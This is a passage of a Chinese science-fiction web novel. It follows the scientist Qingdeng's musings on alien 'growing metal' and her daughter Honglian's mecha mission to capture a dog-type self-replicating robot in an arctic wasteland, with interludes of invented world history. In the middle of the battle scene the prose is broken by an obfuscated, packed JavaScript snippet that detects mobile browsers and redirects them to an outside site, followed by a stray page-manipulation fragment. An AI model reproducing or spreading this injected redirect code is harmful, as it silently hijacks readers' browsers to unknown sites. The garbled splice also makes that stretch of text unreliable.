只不过，她的脑袋里总回响着，红莲对她说的，为自己做点什么。 做什么呢？39岁了，自己从孕育罐出来的27年里，只热爱科研，别人让我做什么，我就做什么，只要是搞研究做什么都行。 或者说自己也曾对某些学科产生兴趣，却在漫长的跟上级争执的岁月中消磨没了。 晴灯想到这儿，呆住了，似乎处于某种奇妙的本能，拿起那块令她非常着迷的生长金属，这玄妙的天狼星科技产物在17年前就吸引了她。 当时，辛苦6年的成果——纳米感知材料，被上级冒名顶替，她一气之下离职的当天，居然修改门禁卡和监控，从保管箱拿走了四块生长金属！ 反正这宝贝放在研究所也是吃灰，评分报酬不给我，成果也不给我，这东西就是我的！ 神奇的是至今没人发现！可能因为研究所后来解散了。 晴灯回忆着那个夜晚，自己一个人傻不拉几的抱着铁板走在街上等待被抓，看着熙熙攘攘的人流，她也想和朋友谈心却没有。 正是那时的冲动，使她有了造一个孩子的想法。 （注释：亲子关系被灵能会列为有碍灵魂进化项，只有大人物有权用孕育罐传承本人基因，普通人的基因采样后，由在线AI系统在孕育罐基地随机培养新生命。） 晴灯为了有自己的孩子就消费了本来不多的进化评分，从黑市买来废旧的孕育罐和治疗椅，这些老旧技术并不复杂，难点在于她没有联接新生儿知识库的权限，她就拷贝了自己脑中的知识库，没想到儿童在孕育罐内学习是有情景模拟程序的，是循序渐进的过程，错乱的高等知识一度让幼小的红莲濒死，她就慌张的关停孕育罐取出了孩子。 晴灯摸摸生长金属，又开始专注于学术思维，摸摸铁板四周，再摸摸周围的空间，并没有时空通道，但这东西却连接着遥远的天狼星！夜星人类现在的技术仍然基于一种可见论，即一切都在一个维度中互相作用。多维空间假说在三千年前就提出来了，谁敢研究，谁就是笑柄。 观测不到就是不存在了呗？这句是晴灯与同事争论时爱说的话，但人们搬出参对论的人类无法观测光速以外的信息。 所以晴灯讨厌光！ “光是假象。” 红莲问：“什么？” “没什么！” 维持生长金属的时空通道就在天狼星人特制的亚空间中，这是晴灯根据现有科学反复推论得出的结论，当然这没什么了不起的，是个人就能想的到，她想象那个亚空间不可能和现实世界一样充满物体，如果是这块铁板里马上就能钻出来一个天狼星人！ 她推断，真实世界应该包含一个无穷小的维度，天狼星人特制的亚空间附着在那个维度表面，所以传输的能量很快就被改维度挤到夜星，形成了这快生长金属。 晴灯摸着铁板，敲了敲，她已经尝试过几百种方法破坏它了，红莲说从古代电子书中学会个啥一击必杀的剑技，她让红莲砍铁板，刀断了，手差点脱臼。 生长金属是一团发天狼星往夜星的纯粹能量。 “这铁板就像是天狼星人传过来的能量泡泡，呵呵，能量泡泡！” 对这团能量塑形的权限在夜星，但夜星没有操纵如此巨大能量的技术，所以塑形必须双方配合，天狼星传输一点能量，夜星同步塑形一点，过程极为缓慢，所以叫生长金属！ 那天狼星那块失去存在空间的金属又是怎么回事？ 天狼星人是灵能体，可以用意识操控能量融入自身，只要经过漫长发展，个体就能操控无穷大的能量吗？也不对，那不成宇宙之主了！可能？意识操控的能量是有上限的。 晴灯听三维打印机发出滋滋的响声，笑着想这过程很像打印物品呀！ 攻击生长金属需要的温度超过了宇宙温度上限（1.416833(85)×10^32K） 我只是默默无闻的一个研究员，想在这世道活下去而已。 晴灯想着又看着红莲开门的背影，她由衷的感到开心，这身着黑底白边士官队服的少女，微风吹动黑色长发如同王者的披风，竟如此帅飒英气。 气闸门关闭了，晴灯放下生长金属，继续着工作。 户外。 焦躁不安人群盯着一个未满的显示为只有2人的居住舱，在寒风中等了4个多小时，等来的是一位身穿士官队服的长发少女，人们看她扶正大檐帽的威严姿态就丧气了，其中跑出来一个身穿白大褂的中年妇女急切的说话。 “我是晴灯博士的朋友！” 她看少女并未作答。 “我想住进去，实在等不下去了！你们这房间只住两个人！你让我住进去！” 人在别人遇到困难的时候冷眼旁观，在自己遇到困难的时候乞求援助。 “我知道晴灯没有朋友。” 红莲说完，在妇女茫然而愤怒的注视下，走进人群，操作着袖口全息屏幕，红莲联系到贝比后边走边问：“我要的人员你准备好了吗？” “啥？噢！对对对！你等！你们不会省着点用吗！你看现在哪有新的岸防机甲！咚！” 红莲猜贝比又摔东西了。 “把我开去打机械生物得了！以后谁再来要机甲！谁就是机甲！哎！红莲！” “今天不行吗？” “一天比一天烂！你去大门！啊！现在没大门了！你就一直往外走，强风烈风在门口执勤，各有两个21人的机甲中队！你随便调用，我挂了啊！啧！你们自己想！” 贝比挂断了语音通信。 人海的拥挤抑制着混乱，随着碰撞声，都抬头看，是工厂区的龙门吊车将监狱区的集装箱压在居住舱上，低处已经没有一丝缝隙，人群塞满空间，还在空间中发散痛苦，怨气，愤恨，惊恐。 巨大的履带拖车发出尖锐刺耳的警报，无所顾忌的冲破人群，红莲按着帽子低头快步冲向拖车，走动中看到地上的洁白雪花被变成污泥！ “谁啊！不要命了吗！” 司机打开窗户一望是士官队服又忙说抱歉。 借用这拖车打开的空间，红莲穿行在新施工的居住舱和集装箱工地，在迷宫般的小路中不停问路，找到了新铺设的环形铁轨，载满岸防机甲的平板列车高速行驶在岸防队员们面前。 噗嗤！嗡！ 列车释放气压后的鸣笛像是起跑的哨声，上万名岸防队员爬跳过列车，红莲从列车平台的连接处跨过，再扫视第一眼就看到高大的烈风，强风同时看到并走向红莲。 “红莲大人，你说一下任务！” 红莲坐到弹药箱上，摘下帽子，单手梳着长发，强风指着她三场两短的头发大笑。 “这是你自己剪的？哈哈，居住区和酒馆区都有医疗站提供剪发服务啊。” “我等一会儿，你们忙完再说，我看居住区的环境越来越拥挤了。” “你别等！以后岸防连城有超量的出勤任务，情况只会越来越糟，今天，黑白大人还没发威，还算闲。” 强风也坐下，梳双马尾又看着红莲的头发笑。 “你一脸严肃和这发型也不搭啊！哈哈。” 红莲问“市民有多少人？” “这140万市民是天家管辖。” 强风说着，表情变严厉，继续说道：“几百公里大的灵能飞艇怎么可能凭空消失！天家弄没飞艇，让市民活不下去，再把人都送到这开机甲去消灭机械生物！这些人原本就是群只有嘴上功夫的墙头草，毫无战意，现在把气全撒到岸防卫队，早上烈风指挥安置区想跟市民解释，就引发了争吵，最后参谋部调天思一句话不说的安置着。天家会造食物，也不给市□□够！岸防连城的食物也靠天家的博物馆都市供应！一人一份从不多给，现在市民的食物是全连城40万队员缩减伙食剩出来的，撑一天都不够！黑白大人主张拒收市民，黑家主大人太温柔了，市民即将参加大规模作战，恨意全对准了黑家。” “给我带一个班走吧。” 红莲说完，起来，伸懒腰。 “呵呵，你不懂编制，一个班才三个人一台机甲！你毫无作战经验！我带卫队跟你去，你下指令就行。” “那就三个班！知道这行动的人越少越好。” 强风会心一笑，对属下摆手说道：“你给红莲大人当副官，我这位队长有9341次出勤，好用。红莲你要做什么？” “抓一只小机械生物。” “抓一只！”强风和那队长齐声大喊了。 “红莲大人你不了解，机械生物是敌人，不是动物！战斗力远高于岸防机甲，击杀就很难，活捉几乎不可能，或者我和烈风带本队42人编制跟你去。” “不用，你们这很忙，三个班足够了，我看情况试着抓，这东西怎么开？” 强风给那队长使个眼神，她就启动了红莲面前的机甲座舱，等座舱下探到地面，红莲爬到主驾驶位，队长赶忙跟上，坐到到红莲身后副驾驶位并讲解。 红莲兴奋的操纵机甲挪了一步，笑说：“哦！这就能动了！” “红莲大人您等一会儿！1班2班回答！要三辆支援车！我建议您把帽子摘了这样不阻挡视线。” 机甲一步一步的走着，红莲熟悉了基础操作又问：“这是开炮。” “哎？您千万别按！我这台的开火保险拆除了，那个杆是臂刀，一拉就弹出了，在机甲小臂上，后端长度到肩，前端可以通过透明座舱观察到，这个绿色的按钮是机甲臂随动开关，按了机甲臂就和主驾驶者同步手臂动作，好的！出发！1班2班出发！再不走就堵在这了，到西区21号集结点，前面！对，可以了把那个推杆推上去就启动滑雪模式了。” “这个机甲能打过灵能会的侍灵吗？” “您开什么玩笑！这破铁块是用工程机器人改的，灵活度哪能跟侍灵比，机甲的战斗力早就随机械时代结束了。” 数千台机甲伴着隆隆涡扇排气与液压轴承声，像一栋栋交错排列的钢铁楼房，无限度的涌入平坦苍茫的暗白雪原，这灰蒙的绒白大地又好像柔软的白色天空，机甲们逐渐点亮的灯光宛如繁星。 少女与小狗 一支10人的小队汇合后按照行进模式章程稍作休整，三台机甲开启自动驾驶，人员各进支援车，编成纵队，比其他几百个集结点上的小队更早出发，相隔十几公里的人们边吃营养剂边看着这只队伍发呆，好奇她们为什么不用这一点点的私人时间发会呆呢。 一望无边的白雪没什么好看的，却也只能看着雪地，每个人都思考这雪地何时形成，要持续到何时，然而北极雪原历来如此，最远可要追溯到夜星诞生之初。 写点历史。 自从航海时代发现北大陆，商船见这里资源贫瘠，气候严寒，仅有沿海地区是温带气候，就称此地为北极。先民黑发，鼻孔较小，身体高大强壮，以手工业为主业，用动物毛皮换日用品的小商业，缓慢的促生出12个小邦国，工业时代进口的高效武器使北极统一，首都位于国家最北的山顶平原，就是今天的岸防连城主城区。 （全球地图：大海分隔出四块陆地，上方陆地称北极，下方陆地称南大陆或南极，左方陆地成西大陆，右方群岛称东群岛。） 到了信息时代，人工智能语言模型发展迅速，总商会资助电子脑计划，考虑到北极丰富的淡水资源和低温，深入北极内陆施工，于新元241年建成在线独立智能模型并设立全球金融计算中心，位置就是今天的博物馆都市。 这里必须谈谈工业时代发生的第一次世界大战，南北大陆的人更愿称为东西海战，事实就是如此，东群岛总商会（全球商业联盟）信誓旦旦组成万艘铁甲舰，路过大海洋中心，多变气候使舰队折损过半，不得已分流前往南北大陆修整，再进攻西大陆本土。西大陆总油会（全球石油联盟）分先后击溃了总商会舰队，并启程前往东群岛又遇到相同的海洋环境，东西大陆在这种可笑的军舰消耗战中，打了12年，期间一位西大陆舰长以个人经历为参考，写了《海洋与和平》名著，和平之声日益高涨，第一次世界大战结束。 第二次世界大战，南北大陆称为世界大战，发生于北极在线独立智能模型建成10年后，东群岛总商会对北极的开发，是吸取了上次海战的经验教训，意图从北极向西大陆展开攻势，所以倾注了东群岛全部人才和资源。这当然引起西大陆总油会的警觉，于是向南大陆输送人力和资源的行动，也要控制两块大陆，引发了总油会的内乱。 总商会趁此机会开战，从战果上来说，由于洲际核弹的参与，双方的损失基本相同，东群岛受核打击较少，是因为岛没剩什么战略资源了，总商会所处的北极也没什么人烟，重要设施都在地下，军港自有防御。而西大陆各城却是斑驳焦土，还牵连南大陆数座城市，人心溃散，总油会输了。 言归正传。 海岸逐渐被冰山吞没，小队穿过一座空城，这城的市民如今在岸防连城里，红莲从车内看到道路已经被积雪覆盖了一半，交通站的乘车柱上摆着一个落雪的布偶小熊。写有灵魂进化前往天狼星神明家园的巨大广告牌滋滋的冒着电火花，几栋大厦间的一座居民楼有一个窗口亮着灯光。 小队从其他队伍炸开的高速公路围栏缺口穿过，红莲与其他队员换座，追看车外的高速公路通往的另一座空城，是雪原白幕中的黑色积木群。 “红莲大人？” “嗯？” “快到了，这片古代城市废墟里就有渗透过来的机械生物，它们不断繁殖，所以领地已经接近人类城市了。” 红莲低头瞌睡，询问：“怎么了。” 队长左手一拉，车尾门开启，两名队员在车辆行驶过程中爬出车外，熟练的抓爬扶手，跳到一台岸防机甲上，机甲加速前进到车队前方，转身用正面对着车队，全队停止。 “进入危险区了，红莲大人，我们组成一个四人的侦查班，要步行侦查，在信息地图里标记落单的生物。很冷的，按座位底下的钮，有斗篷可以穿。” 两名队员缓慢的把支援车停成横队，就等红莲和队长下来，三台机甲已经摆好三角队形警戒。 四人汇合后先看中一栋拦腰折断的大楼，这附近到处是断裂的楼板叠成的小山，蒙着白雪像过节的奶油饼干。 “好冷呀！这没有啊？” “你小声点！” 队长压低嗓音斥责一个队员，另一个队员拍她肩膀指向前方的雪丘，让她恢复侦查队形，其实披上厚重的兜帽斗篷已经很暖和了，只是这斗篷每迈一次腿就漏风，为了在全力奔跑时不影响速度。 红莲摸摸头上已经没戴帽子了，她感觉有些不适应，又思考着，现在前进了20分钟。 “队长，这里没有机械生物吗？” “您看。” 队长把全息地图同步传输给红莲并讲解着。 “地图上的小红点是雷达确认的巢穴，机械生物钻在雪下3米深休息和繁殖，啃食地下金属矿脉的种类巢穴甚至位于70米深处，我们的位置距离一个孤立巢穴大概有300公里，现在已经进入它们的领地边缘。” “这么远？能找到吗？” “平时作战直奔巢穴，机械生物感知到人类的生命信号就会过来，我们要抓一只就得耐心找落单的，犬型机械生物会分散在领地里探测金属并吃掉，我见过一只犬型拆楼吃钢筋！” 一个队员站在高处大笑。 “噗哈哈，那情形好搞笑！队长你对机械生物很懂嘛！” “那是，我还见过机械生物互相打架！对!那次是天思大人坐在雪丘上指挥战斗，我们9台机甲对付20只犬型，要撤退了，一个虎型忽的一下从天思大人屁股底下窜出来！咬烂一台机甲，又咬犬型，天思大人指挥我们边打边撤！从那以后天思大人就爱说老虎屁股我都敢坐还有什么不敢的！” “虎型？” “嗯比猛犸型都危险，会单独在雪下长眠，第四城区的队员还见过饿死的虎型，来我推你上去。” 红莲被队员帮着，爬上断楼最高处，她摘下兜帽，长发随风吹向西侧，开始观察眼前的旷野，远方雪地上有一个四足跑动的黑影。 “机械生物会饿死吗？” “会，它们似乎严格遵循着古代动物的规则，很久不吃金属就饿死了，死尸又会被其他机械生物吃掉，吃的金属越多，体型越大，犬型长到虎型就脱离巢穴，虎型还能长成猛犸型，还有一种鸟型会帮犬型侦查，这片区域很空旷，又不缺废旧金属，有只朝我们走过来了！” 四人卧倒，用观测设备查看。 首先令人注目的是满口外露的弯钩形的银白獠牙，牙齿与颚为一体，舌头近似扁平的金属水管，两个形状歪扭且大小不一的洞充当着眼睛，粗壮的颈部有巨大的电磁活塞环，不锈钢骨架和少量铁皮包裹了胸腹部黑漆漆的动力装置，电磁圆盘控制的四肢下方，舞动着银闪发亮的刀爪。 她们耐心的等待那只杀手靠近。 远在千里之外的红莲家里。 “红莲姐姐去哪了？” 堆满实验设备的昏暗居住舱里，高大的夜兰显得格外突兀，浓密的黑发一直到脚边，晴灯在附近打扫地面生怕卷到她的头发，惹了这位笑容诡异的大人物。 “啊，抓机械生物，您是哪个部门，什么职位？” “我没职业，红莲姐姐从监狱区救了我，还帮我做了这身衣服！我来感谢她，再看看有什么可以帮忙的，我帮您扫吧！” 夜兰每说一句就微笑，半蹲屁股撞到设备角。 “不用，不麻烦了您了。” 晴灯说着，想自己从不打扫过卫生，因为这位气质强大的陌生人进来又说是红莲的朋友才觉得难堪，扫地抬头先看到顶在眼前的队服，后看到夜兰诡异的笑脸。 啪！ 她们身后的一个烧杯碎在地上。 “啊抱歉！” “没事。” “您刚才说的机械生物是啥？” 陌生人问学术问题启动了晴灯的科普开关。 “顾名思义，机械拟态成生物的样子，不过顾名思义也不对，严格的名称应该叫，自律型自我复制机器人，机械时代太空计划的一环，想在外星建设城市需要机器可以做到不用人管理就自己动，这叫自律型，坏了还必须自己维修和造新的，这叫自我复制，发明这个工具的天才科学家叫真凶。后世学者不断完善设计，夜星的人口减少太快，失去主人的自律型自我复制机器人就到处乱跑。不过，为什么拟态成动物是个谜！” 晴灯说完才想起夜兰说过监狱区，噢！“犯人呀！” “不是，我是病人！发育异常早早从孕育罐出来了，您懂这个罐子吗？” “千年前的技术有什么难的！” 两人摸着孕育罐，晴灯继续讲解。 “孕育对人类生理来说一直是件危险的事情，所以很早就出现了体外孕育的设备，起初是帮早产儿继续发育的机器，世界人口超老龄化危机帮这种机器解除了伦理束缚。第一次进化会议提出了殖民太空的计划，量产了初代孕育罐，能把胚胎培育成婴儿。” 晴灯走到孕育罐的立柱后方，取下知识库模块，继续讲解：“困扰古代人类的另一个问题就是知识多到学不尽了，古人只学单一学科的最新成果，都得学到40岁，大半辈子都在学旧知识。好消息来自总商会下属公司售卖的睡眠舱，含有非常先进的脑内虚拟现实技术，一代又一代的学者优化孕育罐的教学程序，最终发展出了灌输知识库的第三代孕育罐，使罐内的人类一边发育，一边学会4000年积累的基础学科知识，12岁离罐。没有这个，人类很难成为跨星际文明啊。” “那我们现在为啥不是跨星际文明？” “哈哈！你问到哲学领域了。唉，欲速则不达吧。后世学者顺应市场需求，加入了许多奇怪的功能，比如基因修改，最初居然为了生五官漂亮的孩子！随着时代进步一点点往里面加功能，消除先天缺陷，免疫疾病。你长这么高！就跟灵能会追求的中性体质有关，北极的罐子加入了灵魂先进计划，调节激素修改了人体的发育过程。” 晴灯想到是自己一手导致红莲先天缺陷，低下头，又看向夜兰，开始同情眼前这个高大的少女。 夜兰又对她笑了一下。 “你笑的好可怕。” 晴灯脱口而出又感觉不妥，夜兰看对方要道歉马上做搀扶动作。 “啊，没关系，我一直就笑不好，别人也这么说，但我想表达笑容，让别人开心。” “你再笑一个！啊！哈哈，真的好可怕，你这孩子真是！这样笑。” 夜兰被她摆弄好脸固定住，记住后又笑了一个。 “喔！算啦，你就这样吧！这样不受欺负，别人看你一笑就吓傻了。” “嘿嘿！红莲说能跟您学治疗椅的技术，我一直在长大，别人都说我快长死了。” “噢！那你还真得学！死不了，但得经常调节自己的激素！这个治疗椅却很难的，是血肉时代的产物了，西大陆主导的血肉永生进化，破解了生命原初协议，发明了细胞编程器，很多参数都还是那时候设定的，后人不敢动，搞不好坐上去，下一秒就变成肉泥或怪物。” 晴灯想了想讲的有点深奥了。 “不过你不用懂那么多，这椅子就是几个模块，我教你设定自己的健康参数，把诊断模块和治疗模块拆下来做成一个手提箱，你去哪就带到哪，没了就再自己做一个。” 她俩鼓捣治疗椅的时间，远在西北方向1500公里处的红莲四人终于等来了那个凶恶的自律型自我复制机器人。 “接近了，跑起来！” 队长一声令下，三人拿起装备，红莲跑几步回去帮另一个人拿回装备，开始追其他三人，晃动的视线与嘈杂的脚步声无法让红莲感知身后的情况，她只能假设机械生物已经在她身后了，开始观察眼前的地形并计算与车队的距离。 之前是S型绕路过来的，现在背两套装备，很难原路追上渐行渐远的三人了。 红莲思考后，直行爬上山，这样直走，越来越接近三人。 “嗨！你的！” 红莲喊着，将装备抛到空中，听到谢谢，跳上废墟顶部，借着装备的下落力量扔过去。 队员回头等接物，又回头。 “啊！你身后！” 队员第二次回头惊恐的表情让红莲立刻回想身后环境：是下坡，如果敌人起跳攻击，我还来的及落地躲闪，如果是匍匐攻击就已经抬手了，刚才远望它的关节，现在能做到的攻击只有横扫。 红莲把背后的装备放松拉向右边。 左边！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875282|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 红莲收左半身，向左侧全力转身的同时，斗篷一瞬间就脱掉！右手顺势抓住一个冰冷的铁管。 队长扭着身子跑着，看清一只3米高的中体型犬型机械生物甩动着挂在它小腿上的红莲。 “红莲！1班！1班进攻！遇敌！全员战备！” 车队处的3人敞开机甲盖，跟坐在机甲顶部瞭望的3人交谈着，通话机喊出红莲，吓的6人一机灵，听到1班的时候机甲已经开动了，副驾驶坐进去说：“左臂打开保险，装弹完成！敌位3点钟方向，距离有三个障碍阻挡。” “啧！怎么走快！” “前两个阻挡要绕行，机甲爬坡更慢。” “啧！看队长选这地方！双臂装满弹药，双弹匣脱离！” “双臂弹药装填，6,5,4,3,2,1!弹匣脱离！” “副能源包脱离！” “不行！那开不回去了！现在一台机甲顶几条人命！” “啧，涡扇启动超频加力！过热极限由你控制！” “涡扇启动超频，加力150%，180%” 在加力到200%副驾驶准备关闭超频的时候，她们看到了身穿黑底白边队服的三人，斗篷和装备都跑丢了，车灯远方的灯影投出一个硕大的影子，还有一个小影忽忽的跃动着。 机甲与影子同步接近的片刻，看到了红莲从垃圾山侧滑出来，爬起向前跑着，不锈钢锃亮的头颅探出。 咚！哐啷啷！ 光亮的弹壳触地同时发出噹的一声巨响！ 炮弹命中了机械生物下颚让它恼羞成怒般的奔跑，机甲转动底座边撤边开火，连续两发都打空后，它几乎与地上三人一起到达机甲，情急之下，机甲弹出臂刀护在前方。 等2班到达的时候，犬型已经爪扯一班机甲的左臂，剧烈晃动的双方，使得2班无法瞄准，一班机甲右臂一通乱刺，似乎刺伤了犬型的后腿，它扯掉机甲左臂，后退着。 队长开机甲到了，停住，探身拉起红莲，看她坐到主驾驶位，自己就坐到身后副驾驶位。 “就这只吧！两处受伤，靠我们应该能行！打断四肢和上颚……” 人们不敢相信眼前的景象。 4只，不！6只！不！8只犬型，其中还有一只大型的马上要进化成虎型的机械生物对整个小队成包围之势。也就是说，在人们等待的过程里，这些钢铁巨兽就偷偷绕行潜伏过来，趁小队与诱饵激战，无暇顾及四周的时候，完成了收网。 这是一片相当开阔的空地，机械生物还选了这个非常不利于躲藏的地方。 “撤……” 红莲回手捂住队长的嘴巴。 “它们敢攻击，刚才就做了，现在挪动是畏惧我们的远程火力，撤退路上很多阻挡，我们无法保持开火角度，它们选这个开阔地是因数量多，认为十拿九稳能全灭我们。” “那！那！那！怎么？” “你怕死吗？” 红莲转身对队长笑了，少女笑容无奈，眼神却锐利难挡，扇开的黑色长发尽显英气。 “所有人听我指挥，不要动。” 机械生物渐渐走成入字型，其中最外侧的两只，缓步向最西和最东挪动，又渐渐用不易察觉的速度靠近1班和2班。 “1号支援车可以自动驾驶吗？” “可以。” “1班2班用火力封住最大的那只行动，1号车现在全速直线开过去。” 一个队员蹑手蹑脚的下车，还是被发现了，但机械生物明白这不影响对峙。 嗡的一声！ 支援车向人字阵直线开来，钢铁怪兽的阵型快速收紧了一下，但马上快步恢复阵型的瞬间，人字阵的中段，东西各两只犬型向车辆奔去，最外侧的两只各向1班和2班奔跑。 这几秒内的局势是红莲预想到了，观察过1班机甲臂刀，无法在无缺乏惯性的情况下切开机械生物，炮弹的间隔太长，距离不够应对8只，还计算了1班机甲赶到的时间和机甲转身的速度。 “哎？你！” 红莲把动力开关和拉杆全开满，全速冲向1号支援车。 “队长！” “啥！” “没这么慢啊！还有什么加速设备！” “涡扇超频！” “开满！” 队长已经懵了，因为她们已经到了追车的两只犬型面前，队长在红莲大喊的催促下用本能把涡扇超频限制器直接推到了顶，还随手丢掉了备用弹匣和副能源包。 红莲的机甲直接封住了1班和2班的视线，在一炮未发的情况下就被机械生物缠住。 追车的两只犬型反应过来，跳向红莲机甲时，位置和力度都无法细化调整了，颈腹部撞上了弹出的臂刀刃，啃咬1班和2班的两只犬型观察到红莲机甲接近头目，又转头奔过回去， 可是，红莲机甲越来越快，大号犬型身边的两只小犬型也不得不也扑向红莲，在红莲接敌的间隙，1班2班的射击尽可能的避开红莲。 在新到的两只机械生物腾空的时候，红莲用力太猛踢断了一侧的转身拉杆，机甲背后的涡扇通红，冒着蒸汽，极速冲刺的机甲上肢开始疯狂旋转起来！ “喔喔喔喔！” 队长被剧烈旋转的的空间转的嘴里不停喔喔。 红莲也晕头转向，努力掰方向盘让机甲拐向一侧。 大犬型机械生物见四只同类的死尸挂在红莲机甲上，拖缓了红莲机甲的转速，尝试着要扑却被1班2班封住行动，只能努力躲避炮弹。 咔吧！ “警告！岸防机甲腰部轴承损坏，无法转动，涡扇推进器过热损坏！” “呵你还好吗？” 红莲爬起来推推队长，见她已经吐了一身，不省人事。 大犬型身边的体型最小的一只利用炮击间隙绕到了侧倒的红莲机甲前，观察了几步。 “等的就是你啊！” 红莲说完，戴上帽子，等它扑来，双臂交叉，护住面部，机甲随动，双臂跟着护住座舱，小机械生物爬挠着，机甲的臂刀压住小犬型的四肢，但切不动，不锈钢头颅不停的撞击座舱。 这下完了。 红莲心想，所有办法都用尽了。 所以她平静的看着座舱被撞碎，明亮的金属獠牙在她面前开合。 最外的两只犬型攻击红莲机甲的后背，2班利用大犬型后退的间隙对红莲后背补了两发炮弹，这突如其来的剧烈撞击让红莲的头有一瞬间就塞进小狗嘴巴里了！ 幸好她马上探出来。连续四次巨大冲击使红莲机甲的刀锋早已切断了小机械生物的四肢，红莲紧紧抱住前胸，机甲随动将小犬型抱住勒紧，金属头颅也被勒的抬出座舱。 队员们心想，太极限了！从未有一台机甲打出1换7的战绩！而且还是单打独斗，漂亮的完胜。 大犬型踌躇着，向后退，它也懵了，一台机甲就干掉了7个同类让它对剩下的两台机甲更为忌惮，在反复转身回头确认1班2班没有追击意图后，大机械生物疯狂的奔逃向巢穴。 “队长？队长！” 队员们不停的呼叫她。 “队长晕了，人没事。” “红莲大人！太出色了!太漂亮了！我们从未打过这么精彩的战斗！” “没什么，战况逼的，我也不想打的这么极限，汇报一下情况吧。” “1班失去左臂，座舱轻微受损，弹药余1发。” “2班完好，弹药余10发。” “支援车1号报废，2号3号完好，弹匣4个，发现1班丢弃的弹匣两个，但无法短时间无法拾起。” 红莲回头看队长，还是没醒。 “接下来是语音操作指令，密码蓝莓味！保持双臂姿态，关闭动作联动。” 呼。 红莲长嘘一口气后，一边揉脸，一边说道：“1班补充弹药。” “在补了。” “2班扶我起来，摘掉臂刀上的机械生物残肢，协助我机甲到支援车，支援车准备钢索和车尾绞盘，我的机甲动力撑不到家了，有人会弹出剩余弹药吗，轻一点是一点。” 三台机甲很快聚在支援车后部，红莲用破窗锤击碎了座舱顶部，拽着队长的身体来到了户外。 “咦！这！这！红莲大人您也蹭了一身营养剂，给您用这斗篷擦擦。” 队员看红莲踉跄着走了几步倒在斗篷上。 “我没事，坐久腿麻了，让我跪会，你们抬队长上车治疗，两车抛弃剩余弹药，车尾绞盘用钢索钩住我的机甲，1班敲碎座舱顶部，再拿两条钢索连车前绞盘，另一端给1班系在腰上，诸位边做事听我说。” 队员们看黑发少女艰难的扶着膝盖，又站直带正帽子，擦拭着身上的呕吐物。 “我们仍在危险之中。我不知道一个巢穴有多少只机械生物，按照逃跑的那只移速来算，我们大概还有2个小时时间。” 红莲看着刚放松下来的队员们又紧张了。 “嗯，我们回岸防连城。1号和2号车行驶在最前，1班副驾驶进入我的机甲保持行驶。2班在中，1班最后，遇敌保持队形不变，交错开火，1班遭遇缠斗就弃车，两台都可以弃，准备完毕就出发。喂，强风吗？” “你说。” “我们的情况不太妙，在西北1500公里处返程，需要你接应。” “好的，我马上出发。” 红莲爬上车就睡着了，已经尽力了，梦到小时候乘列车，她想象车外有缤纷的白雪王国。 有软绵绵的小白羊愉快的吃着白雪，有绒白色的小鹿在冰面跳舞，冰水晶做的马车来接她到雪花纷飞的主题乐园！ 冰雕们动起来，点燃雪做的礼炮，雪球腾的一下在夜空炸开，像现在这样砰砰砰的表演雪烟花秀！ 红莲快乐极了，冰雕们举起她，将她反复抛在空中，晃荡在浪漫精彩的冰雪盛会里！ “刚才差点车翻，红莲大人醒了吗？” “她太累了。” “这里是1班我弹匣打光了，还有11发，红莲大人醒了吗！” “没有！没有！没有！我说了多少遍没有！” 2人坐在摇摆车厢内继续安静的看着红莲的睡脸，她们已经不管车外传来爪挠声，但要帮她拨开因晃动散下挡住鼻息的头发。队员们知道自己回不去了，也知道最开始的战斗就是奇迹，更知道此时红莲醒来也不能再做些什么了，岸防连城的队员向来有种努力过后淡然面对失败的幸福感，大家都会在战斗中死去，也正是因为不坐以待毙，所以从无怨言。 “我是1班主驾驶，弹药已经打光！距最生物仅有2米！启动1号车前绞盘！” “1号车前绞盘已启动！” “我弃机了！” 队员刚爬上机甲头顶，就被钢索拽倒，飞在雪原上空，下落后开始滑行，她不敢却必须向后看，追击的5只撕咬1号机甲，这拖缓了机械生物们的队形，跑最快的两只一直追在车侧后，现在不得不退到2班机甲面前。 哎2班这臭靶子！ 只打伤了2只啃咬1号机甲的机械生物，所以2班面前追着4只。 完了。 完了！ 2班近乎慌乱的开炮，封住最前犬型的攻击角度，导致弹药消耗极快，但她俩别无选择，不拉开距离就没机会弃机，而且没有钢索就弃机步行追不上车队！ 完了！ “能丢弃车后的机甲吗？” “不能！这是任务目标！” 曳光弹像名为希望的流星，一颗颗的划过队员们的头顶！ 接下来世界恢复了白昼！ 坐在车内的队员们纷纷拥抱喜极而泣。 追击的4只放缓脚步，与其他5只犬型汇合成一排。 曳光弹下，强风中队看到支援车拖着人和机甲在雪山下坡段狂奔。 9只机械生物来到坡顶，看见满满一排7台机甲并肩冲刺开炮，第一波齐射就打死了3只，钢铁野兽们撤退了。 5. 章5北极：战神出世 夜星出土的原始文物上，常见一个图腾符号V，它有时这样书写<,有时这样>，有时这样∧。水蒸气动力的水动机发明之前的4000年里，人们认为它代表圣洁的生命，吉祥，财富，安详的离世等待美好愿景，总之所有传统文化的物品上都爱使用V做装饰，到了信息时代出现新艺术流派主张传统是枷锁，人们便很少见到V符号了。 另一个有趣的原始人时期文化，发现于世界各地出土的陶板上，记载了一个美丽传说，孤独的人如果身处微风中，能听到微风轻诉爱意，这现象被人类称为风之语。到了信息时代甚至成为除UFO热之外的第二大超自然文化，热爱自然或是情感失意的人们站在户外冥想倾听。也有自称亲耳听到风之语的科学家在总商会的资助下研究了几年后无果而终，那位科学家最后被学界戏称为神棍，晚年走访南大陆风之部落寻找线索，据他称原始符号V所代表的正是风之语，南大陆把它写作V，北大陆把它写∧，西大陆把它写作<，东大陆把它写作>，拼在一起象征当年那个阳光璀璨的充满爱的星球。 当人类开始理解信息二字的含义时，就很自然的发现必须你说一句，夜星科学家称为发送者主动权，还必须我说一句，称为观测者主动权，互通的有意识者才成改写所在环境的信息，这个物理现象被以数学公式表现，即溯行定律，衍生的大统一理论被称为溯行论，作为夜星近代科学的基础。 岸防连城主城区内。 